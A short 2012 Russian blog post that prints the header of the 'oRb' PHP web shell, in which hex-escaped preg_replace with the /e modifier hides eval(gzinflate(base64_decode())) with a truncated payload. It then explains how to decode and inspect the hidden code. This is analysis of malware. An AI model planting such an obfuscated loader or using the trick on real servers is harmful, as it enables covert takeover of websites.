Скрытие кода, метод 8

Автор: | 27 февраля 2012
<?php # Web Shell by oRb
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66
\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F
\x64\x65\x28'5b1pdx...Kn6fwE='\x29\x29\x29\x3B",".");?>

Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента!

pattern

Искомый шаблон. Может быть как строкой, так и массивом строк.

Также доступны некоторые модификаторы PCRE, включая ‘e‘ (PREG_REPLACE_EVAL), специфичный только для этой функции.

Раскодировать символы вида “\x65” можно двумя способами:

$string1 = '';
$string2 = '';

$hex1 = '6576616C28677A696E';
$hex2 = "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E";

for ($i=0; $i &lt; strlen($hex1)-1; $i+=2){
    $string1 .= chr(hexdec($hex1[$i].$hex1[$i+1]));
}
echo $string1;
echo "\n\n";

$string2 = utf8_decode( $hex2 );
echo $string2;
echo "\n\n";

В этом коде зашифрованы старые добрые:

eval(gzinflate(base64_decode()));

Чтобы раскодировать файл, достаточно вырезать строку между одинарными кавычками и вставить в конструкцию:

$text0 = "5b1pdxrHEjD82fe...";
$text = gzinflate( base64_decode( $text0 ) );
$fp = fopen('deobfuscated.txt', 'w');
fwrite($fp, $text);
fclose($fp);

Добавить комментарий